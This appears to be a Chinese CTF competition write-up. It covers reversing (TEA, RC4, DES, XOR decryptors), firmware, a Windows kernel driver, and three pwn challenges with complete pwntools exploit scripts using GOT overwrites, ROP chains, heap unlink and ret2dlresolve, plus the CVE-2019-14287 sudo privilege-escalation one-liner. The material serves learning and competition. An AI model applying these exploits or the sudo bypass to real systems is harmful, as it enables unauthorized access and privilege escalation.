这里就要用到另一个技巧了,我们需要修补一下这里开头存栈的信息(实际上开头的信息是有的,但是被垃圾代码干扰了)

用 Keypatch 添加信息

1
2
push ebp
mov ebp,esp

图片

虽然因为空间的原因覆盖了一行汇编代码,但是无所谓,我们这样修改只是为了伪代码能够识别出变量

接下来的伪代码就有变量信息了,接着我们修改一些能够直接看出来的变量类型,就可以得到一份比较舒服的伪代码了

我们接下来逐个分析

第一部分

图片

把 Str 的信息都赋值给 input,其中 Str 就是我们输入的 flag 信息,然后通过循环把 input 的内容都转换为 int 数据储存给 input_Int,大家可以眼熟一下这个模块,所干的事情就是把字符四字节的储存。

第二部分

图片

把之前处理的 input_int 传入到这个函数中进行加密,并且把加密后的结果又转回字符形式

图片

这里就是另一个坑点了,可以发现这个函数中存在一个 int3 断点,而其对应的内容是 0xB2,按照之前所说的调试处理的逻辑,我们要替换 ESP 中的内容,并且让 EIP + 1,查看汇编不难发现,他替换的内容就正好是传入 push 的一个值 8E32CDAAh 并且把他替换成 0x73FF8CA6,这里我刚开始因为没有注意,死活解不出来。

这里因为 inc ebp 的原因导致 IDA 伪代码识别错误,而这行汇编是并不会执行的,所以我们把他 nop 掉之后再看伪代码。

图片

我们这里要替换的就是 8E32CDAAh,否则加密后的结果和实际运行的不一致

第三部分

图片

通过 gen 函数生成一些 int 的内容,具体啥过程并不重要,因为这些字符的内容都是固定的,并且把结果都放在 gen_data 中,然后又放到 gen_data_char

第四部分

图片

最后加密一次后,与内部储存字符串比对,如果一致就输出 right.

这里不知道为啥,明明只要比对 32 字节,数组却开到了 36 字节,并且计算过程也是循环了五次。

图片

_byteswap_ulong 函数实际上就是把 char 的内容转换成 int,感觉挺无语了,前面刚刚转成 char,现在又要转回 int。

接下来通过一个 for 循环来对内容加密 32 次,加密之后又储存回去,这里 gen_data 的数据都是固定的,所以我们可以直接当做常数来计算

通过分析,发现这个循环的内容是可以完全逆向的,我们只需要循环 32 次来反向推,就可以得到原文的内容

总感觉有点奇怪,感觉有点像是某种加密算法,但是我也没看出来,就只能硬推了。

而且感觉他这个几个 char 和 int 的变换,总觉得是为了套函数模块来写的。

解密程序

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include "defs.h"
unsigned char data[32] =
{
    0xED, 0xE9, 0x8B, 0x3B, 0xD2, 0x85, 0xE7, 0xEB,
    0x51, 0x16, 0x50, 0x7A, 0xB1, 0xDC, 0x5D, 0x09,
    0x45, 0xAE, 0xB9, 0x15, 0x4D, 0x8D, 0xFF, 0x50,
    0xDE, 0xE0, 0xBC, 0x8B, 0x9B, 0xBC, 0xFE, 0xE1
};
int __cdecl encode_run(unsigned int* a1)
{
    int i; // [esp+D1h] [ebp-13h]
    unsigned int v3; // [esp+DCh] [ebp-8h]
    v3 = 0x8E32CDAA;
    for (i = 0; i < 8; ++i)
    {
        a1[i] ^= v3;
        v3 -= 0x50FFE544;
    }
    return 0;
}
int decode_run(unsigned int* a1)
{
    unsigned int v3 = 0x73FF8CA6;
    //unsigned int v3 = 0x8E32CDAA;
    for (int i = 0; i < 8; ++i) v3 -= 0x50FFE544;
    for (int i = 8 - 1; i >= 0; i--)
    {
        v3 += 0x50FFE544;
        a1[i] ^= v3;
    }
    return 0;
}
int decode_run3(unsigned int* Str, unsigned int cnt)
{
    for (int i = 0; i < cnt; i++)
    {
        unsigned int t = 0;
        unsigned int a = Str[i * 2], b = Str[i * 2 + 1];
        for (int j = 0; j < 0x20; j++) t += 0x9E3779B9;
        for (int j = 0; j < 0x20; j++)
        {
            b -= (0xA2394568 + (a >> 5)) ^ (t + a) ^ (0x87EC6B60 + 16 * a);
            a -= (0xAC1DDCA8 + (b >> 5)) ^ (t + b) ^ (0x82ABA3FE + 16 * b);
            t -= 0x9E3779B9;
        }
        Str[i * 2] = a;
        Str[i * 2 + 1] = b;
    }
    return 0;
}

int __cdecl encode_run3(unsigned __int8* Str, unsigned int cnt)
{
    size_t k; // [esp+D0h] [ebp-8Ch]
    unsigned int v5; // [esp+DCh] [ebp-80h]
    unsigned int v6; // [esp+E8h] [ebp-74h]
    unsigned int v7; // [esp+F4h] [ebp-68h]
    unsigned int v8; // [esp+100h] [ebp-5Ch]
    unsigned int j; // [esp+124h] [ebp-38h]
    unsigned int i; // [esp+130h] [ebp-2Ch]
    int v11; // [esp+13Ch] [ebp-20h]
    unsigned int v12; // [esp+148h] [ebp-14h]
    unsigned int v13; // [esp+154h] [ebp-8h]
    for (i = 0; i < cnt; ++i)
    {
        v11 = 0;
        v13 = _byteswap_ulong(*(_DWORD*)&Str[8 * i]);
        v12 = _byteswap_ulong(*(_DWORD*)&Str[8 * i + 4]);
        for (j = 0; j < 0x20; ++j)
        {
            v11 += 0x9E3779B9;
            v13 += (0xAC1DDCA8 + (v12 >> 5)) ^ (v11 + v12) ^ (0x82ABA3FE + 16 * v12);
            v12 += (0xA2394568 + (v13 >> 5)) ^ (v11 + v13) ^ (0x87EC6B60 + 16 * v13);
        }
        Str[8 * i] = HIBYTE(v13);
        Str[8 * i + 1] = BYTE2(v13);
        Str[8 * i + 2] = BYTE1(v13);
        Str[8 * i + 3] = v13;
        Str[8 * i + 4] = HIBYTE(v12);
        Str[8 * i + 5] = BYTE2(v12);
        Str[8 * i + 6] = BYTE1(v12);
        Str[8 * i + 7] = v12;
    }
    return 0;
}
void encode_all(char* a)
{
    unsigned char s[36] = { 0 };
    unsigned int data[8] = { 0 }, t1[8] = { 0 };
    for (int i = 0; i < 32; i++)
        s[i] = a[i];
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 8; j++)
        {
            data[j] |= a[j * 4 + i];
            if (i != 3) data[j] <<= 8;
        }
    }
    encode_run(data);
    for (int i = 0; i < 8; i++)
    {
        s[4 * i + 0] = (data[i] & 0xFF000000) >> 24;
        s[4 * i + 1] = (data[i] & 0xFF0000) >> 16;
        s[4 * i + 2] = (data[i] & 0xFF00) >> 8;
        s[4 * i + 3] = (data[i]);
    }
    encode_run3(s, 4);
    for (int i = 0; i < 32; i++)
        a[i] = s[i];
}
int rev(int x)
{
    unsigned int data = 0;
    unsigned char a2[4];
    for (int i = 0; i < 4; ++i) a2[i] = x >> (24 - 8 * i);
    for (int i = 0; i < 4; i++) data ^= a2[4 - i - 1] << (24 - 8 * i);
    return data;
}
int main()
{
    //char s[33] = {0};
    //scanf("%s", s);
    //encode_all(s);
    unsigned int d[8];
    for (int i = 0; i < 8; i++)  d[i] = rev(((unsigned int*)data)[i]);
    decode_run3(d, 4);
    decode_run(d);
    for (int i = 0; i < 8; i++) d[i] = rev(d[i]);
    for (int i = 0; i < 32; i++)
        printf("%c", ((char*)d)[i]);
    return 0;
}

总结

这实际上是 TEA 加密,甚至都没有魔改过,这一点从 TEA 的常数可以看出来,而我在这之前接触 TEA 加密比较少,所以在这一题也没有看出来,手动写了个解密函数。希望下次能够看出可以加快做题的速度

PWN

emarm

这道题是一道预料之中的 arm pwn,在这次比赛之前就有稍微的了解过,并且搭建了基本的环境(qemu)

图片

解题思路

这道题的逻辑还是比较清楚的

开头要求输入密码,我们直接用**\x00**就可以绕过,这种绕过方法适用于很多这样的题目,还有另一种绕过密码一般是通过覆盖最后的 0 字节,使得随机得到的密码被输出。

其次就会给一个 8 字节的任意写,我们这里可以考虑直接修改 got 表,这里了解到 arm 的 libc 地址在环境不改变(不重启)的情况下,多次运行的地址一致,也就是对于这道题来说,我们可以通过单次泄露就泄露出 libc 的地址,然后根据题目给出的 libc 来计算出对应服务器的 system 函数地址。

所以我们第一次攻击的时候,可以直接考虑修改 got 表上的 atoi 函数为 printf 函数,然后泄露出栈上的某个地址,然后计算出 system 的地址,第二次攻击修改修改为 system,最后就可以得到权限了!

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = "debug"
context.arch = "aarch64"
elf = ELF('./emarm')
r = remote('183.129.189.60', 10012)
#r = process(["qemu-aarch64", "-L", "./", "emarm"])
#r = process(["qemu-aarch64", "-g", "1234", "-L", "./", "emarm"])
system_addr = 0x400086f2c8
addr = elf.plt['printf']
r.sendafter("passwd:", '\x00' * 8)
r.send(str(elf.got['atoi']))
r.sendafter('success', p64(system_addr))
r.send('sh\x00')
r.interactive()
#leak
r.sendafter('success', p64(addr))
r.send('%3$p')
r.recvuntil('\n')
libc_base = int(r.recv(12), 16) - 0x1591a8
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + 0x3f2c8
log.success("system_addr: " + hex(system_addr))
r.interactive()

总结

1.arm 程序的 libc 只要泄露一次即可当做确定的地址,而且 arm 的 libc 和 stack 地址开头都不是 0x7f 而是 0x40

2.arm 程序可以使用 IDA 进行调试,具体方法是

1
qemu-aarch64 -g 1234 -L ./ emarm

这样启动之后,可以在 IDA 直接连接,IP 是调试机器的,端口就是 1234。不过不能暂停,想要暂停需要提前下断点 3.使用 gdb 连接的时候,不能直接在 python 程序中连接,而是要重新开一个终端,并且需要以下的操作

1
2
3
gdb-multiarch
set architecture aarch64
target remote :1234

4.使用 gdb 调试的时候,libc 文件需要用 file 命令进行指定,并且常见的 gdb 命令都不能使用,gdb 输出的地址也是不带 libc 偏移的

justcode

比较有意思的一道题目,考察的点也是我没有遇到过的。

图片

首先开了沙箱,我们只能用 orw 的方法来做。

操作 1

接着程序读取了四个操作,可以选择 1 或者 2,其中 1 的代码是

图片

这里存在一个栈溢出的漏洞,但是只能覆盖到 canary,没有什么操作价值,但是我们可以利用脏数据来带出 libc 地址和栈地址,还有就是要和 2 的操作相结合才能看到。

操作 2

这道题的最重要的漏洞就在这里

图片

可以发现我们有一个 scanf 函数,他在写入内容的时候没有用取指针符,并且这个函数所写的位置我们是可控的(通过调试可知,他这里所写的位置是在操作 1 中可以控制的),但是这里有一个缺陷就是,我们 v1 的大小只是 unsigned int,也就是我们最多只能往四个字节的指针写内容。这样的话就无法直接操作 libc 和堆栈这样地址比较大的位置了,而这道题没有开 PIE,并且 got 表可写。

解题过程

如何重用代码?

因为程序内置的操作次数只有四次,这对于我们要写 ROP 来说是远远不够的,所以我们需要考虑如果重用代码。

第一个想到的方法就是修改 exit 的 got 表,直接修改到 main 函数的位置,这样的话,我们只要用三条命令,并且最后一个命令调用 exit,就可以实现无限重入的目的了。

如何执行 ROP?

根据前面所说,我们是无法修改栈上的数据的,这意味着我们无法直接写 ROP 来达到 orw 的目的。所以我刚开始在这道题卡了很久,我一直想办法把数据写到栈上,不过好在后来脑子开窍想到了一个方法,那就是直接通过 pop + ret,就可以返回到我们可控的 rop 的位置,而在操作 1 中,我们又可以触发**__stack_chk_fail**,所以只需要把他的 got 地址改为类似以下的 gadget 就可以了

1
2
pop xxx
ret

其中第一行把 call 调用的 ret 地址弹出,再次 ret 就可以到我们可控的位置了。这其实也是利用了**__stack_chk_fail 函数的安全机制,在检查的过程中是优先于 leave**等操作的,这意味着当调用的时候的栈上地址正好就是我们可控的地址,只要通过 info 的输入就可以写 rop 了,大大节省了时间。 图片

如何通过把字节数据转换成 int 类型的数据?

我们知道字节的数据如果要转换成无符号整数,我们直接用 u32 命令就可以了,但是对于这道题接受的格式是**%d**,我们就难免要考虑到一个格式转化的问题,我本来想找现成的轮子,都没找到转换的函数,所以只能自己写了一个,通过判定最高位来确定是否需要输出负号,具体内容见代码。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
#r = process('./justcode')
r = remote('183.129.189.60', 10041)
elf = ELF('./justcode')
context.log_level = "debug"
context.arch = "amd64"
main_addr = 0x400D4B
def write(addr, data):
r.sendafter("name:", 'a' * 0xC + p64(addr))
a = u32(data)
payload = str(a)
if a & 0x80000000 == 1:
payload = "-" + str(~a)
r.sendlineafter('id:', payload)
r.sendafter('info:', 'a')

def write_data(addr, data):
for i in range(0, len(data), 4):
r.sendafter("code:", "1\n2\n3\n3\n")
write(addr, data[i * 4: i * 4 + 4].ljust(4, '\x00'))
addr += 4
def leak(pad):
r.sendafter("name:", pad)
r.recvuntil(': ')
#0x0000000000400a70 : pop rbp ; ret
pop_rbp_addr = 0x400a70
r.sendafter("code:", "1\n1\n2\n3\n")
leak('a' * 0x8)
uflow_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0xe
libc = LibcSearcher('_IO_default_uflow', uflow_addr)
libc_base = uflow_addr - libc.dump('_IO_default_uflow')
log.success("libc_base: " + hex(libc_base))
write(elf.got['exit'], p32(main_addr))
pop_rdi_addr = 0x400ea3
pop_rsi_r15_addr = 0x400ea1
chunk_addr = elf.bss() + 0x500
stack_addr = elf.bss() + 0x200
open_addr = libc_base + libc.dump('open')
ROP_chain = [
pop_rdi_addr,
chunk_addr,
pop_rsi_r15_addr,
0,
0,
open_addr,
pop_rdi_addr,
3,
pop_rsi_r15_addr,
chunk_addr,
0,
elf.plt['read'],
pop_rdi_addr,
chunk_addr,
elf.plt['puts']
]
write_data(chunk_addr, 'flag')
log.success("chunk_addr: " + hex(chunk_addr))
ROP_data = flat(ROP_chain)
write_data(elf.got['__stack_chk_fail'], p32(pop_rbp_addr))
r.sendafter("code:", "1\n3\n3\n3\n")
r.sendafter("name:", ROP_data + 'a' * (0x90 - len(ROP_data)))
r.interactive()

undlcv

这道题我猜我应该是非预期,这是一道堆题

图片

题目没有给出 libc,没有 show 函数,edit 只能编辑四次,否则就会死循环卡死。

malloc 只能是 0xF8,但是给出了一次 0x18 的机会。

不过好在没有开 PIE

题目漏洞

在 edit 的时候存在 off by null,并且我们可以通过 0xF8 的 size 来触发

图片

结合没有开 PIE,并且 libc 是 2.23 的版本,所以我们可以考虑直接使用 unlink 来劫持 heap_ptr,之后就有了任意写的权限,但是我们知道 edit 的次数只能有四次,所以我们只是单纯的劫持 heap_ptr 是不够用的。

解题过程

所以我这里非预期的做法就是通过修改 exit 的 got 表数据,来重入 main 函数,这样的话操作次数就又会被赋值为四次,这样我们就相当于无限次数的 edit。

并且这道题是 NO RELRO,我直接就想到了之前做过的一道题,NO RELRO 对于 ret2_dlresolve 是非常方便的,我们可以直接修改 strtab 的地址,指向我们可控的区域,并且修改对应的字符串,这样在下次 dlresolve 的时候就可以直接解析到我们修改的字符串内容。

不过会遇到一个问题,我们想要劫持 free 函数去执行 system,但是发现 free 函数在这之前必须调用过,那对于这种调用过的内容,我们就无法调用 dlresolve 了。解决方法就是直接修改 free 函数地址到 plt + 6 的位置,这样在下次使用的时候就会去调用 dlresolve 了。

总结

这道题刚开始的时候一直卡在如何 leak 上,所以导致我做了很久,其实这道题想要 leak 是比较麻烦的,因为没有 show 函数,估计正解应该是打 stdout 吧(不过这比赛官方 wp 都没没有,只要做出来就是正解)

做完后听说 cnitlrt 师傅居然通过 doube free 信息泄露出 libc 版本,找到对应的 libc,并且修改 got 表来执行 one_gadget 打通了(orz,太强了!!!看起来相对于这个方法,我这个又没那么不像是正解了)

这道题拿到权限之后还需要提权,用的是 CVE-2019-14287 sudo 权限提升漏洞,这种就只能靠积累了,感谢 cnitlrt 的帮助!

1
sudo -u#-1 cat flag

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = "debug"
elf = ELF('./undlcv')
def choice(idx):
sleep(0.1)
r.sendline(str(idx))
def add(idx):
choice(1)
r.sendline(str(idx))
def edit(idx, content):
choice(2)
r.sendline(str(idx))
r.send(content)
def delete(idx):
choice(3)
r.sendline(str(idx))
def again():
delete(2)
# r = process('./undlcv')
r = remote('183.129.189.60', 10013)
chunk_ptr = 0x403500
main_addr = 0x401504
str_tab_addr = 0x4032A8
plt_free = 0x401030
heap_ptr = 0x403480
FD = heap_ptr - 0x18
BK = heap_ptr - 0x10
add(0)
add(1)
edit(0, p64(0) + p64(0xF1) + p64(FD) + p64(BK) + 'a' * (0xF8 - 0x20 - 0x8) + p64(0xf0))
delete(1)
add(1)
edit(0, 'a' * 0x18 + p64(heap_ptr) + p64(elf.got['exit']))
edit(1, p64(main_addr))
again()
edit(0, p64(heap_ptr) + p64(str_tab_addr))
edit(1, p64(chunk_ptr))
edit(0, p64(elf.got['free']) + p64(chunk_ptr))
edit(1, 'sh\x00bc.so.6\x00exit\x00__stack_chk_fail\x00memset\x00read\x00malloc\x00atoi\x00__libc_start_main\x00system\x00GLIBC_2.4\x00GLIBC_2.2.5\x00__gmon_start\x00\x00')
again()
edit(0, p64(plt_free))
#gdb.attach(r, "b *0x401582")
delete(1)
r.interactive()

固件安全

easybios

分离文件

通过两次 binwalk 可以得到一堆 PE 文件

图片

图片

但是我们不知道哪个文件才是需要分析的文件

图片

但是看到有个识别出 mcrypt 的特征,我决定重点分析它上面的文件 309E44,没想到就找到关键词了

图片

那个 R 其实就是 Right,发现 sub_8325 对代码进行加密

图片

分析发现就是一个 rc4 加密,秘钥写死在程序中图片

解密程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <cstdio>
#include <cstring>
unsigned char sz[] =
{
0x46, 0x77, 0x74, 0xB0, 0x27, 0x8E, 0x8F, 0x5B, 0xE9, 0xD8,
0x46, 0x9C, 0x72, 0xE7, 0x2F, 0x5E
};
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i % Len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char s[256];
unsigned char key[] = "OVMF_And_Easy_Bios";
rc4_init(s, key, 18);
rc4_crypt(s, sz, 16);
for (int i = 0; i < 16; i++)
printf("%02x", sz[i]);
return 0;
}

得到 FLAG

最后输入结果确认

图片

STM

奇奇怪怪的固件

搜索 STM 相关的信息,找到了一篇安全客的文章 https://www.anquanke.com/post/id/229321,根据文章中的设置,发现在 IDA 中可以成功解析,找到关键代码发现就是一个异或解密,程序就是直接输出了 flag 信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//https://www.anquanke.com/post/id/229321
#include <cstdio>
unsigned char ida_chars[] =
{
0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40,
0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30,
0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33,
0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28,
0x2E, 0x64, 0x00, 0x00
};
int main()
{
for (int i = 0; i < 44; i++)
printf("%c", (ida_chars[i] ^ 0x1E) + 3);
}

内核安全

easy_kernel

是谁在打电话?

这道题拿了一血,估计有很多人卡在异或那里

Windows 内核驱动,题目要求在 windows xp 下运行(毕竟其他系统安装驱动就可以劝退一群了),所以下载了一个虚拟机跑了一下。

驱动分析

在驱动函数中找到

图片

发现是一个 DES 加密

r3 程序分析

在 ring3.exe 找到

图片

看到 17 行的内容,实际上就是对驱动的调用,找到驱动中的这个函数,实际上参数是一一对应的

图片

DES 加密的秘钥信息就是

图片

图片

这个字符串的前八位,sizeof(v6) = 8

但是这道题没有这么简单,通过调试可以发现

图片

在图中的这个位置,实际上还对加密的结果进行了又一次加密,但是这里的内容只要我们单步进去就会蓝屏,我怀疑是进入了 r0 的区域,所以蓝屏了。如果要调试驱动要装 windbg,这有点麻烦,所以我就对这部分的内容进行了盲盒测试,发现最后一个字节始终不会改变,测试发现是一个异或加密,前一位异或后一位,这样最后一位就不会变化了。

解密程序

1
2
3
4
5
6
from Crypto.Cipher import DES
key = bytes([0x7D, 0x61, 0x67, 0x6C, 0x66, 0x5F, 0x54, 0x5F])
des = DES.new(key, DES.MODE_ECB)
c = bytes([0x27, 0x95, 0x51, 0xD7, 0x2, 0x56, 0x3A, 0x2, 0xAF, 0x12, 0x7B, 0xAF, 0x46, 0x2, 0x45, 0x73, 0x52, 0xCB, 0x5A, 0xA1, 0xB2, 0xC2, 0x1A, 0x71, 0x95, 0x15, 0x7, 0xE5, 0xA6, 0x8C, 0xC7, 0x8E])
res = des.decrypt(c)
print(res)
0%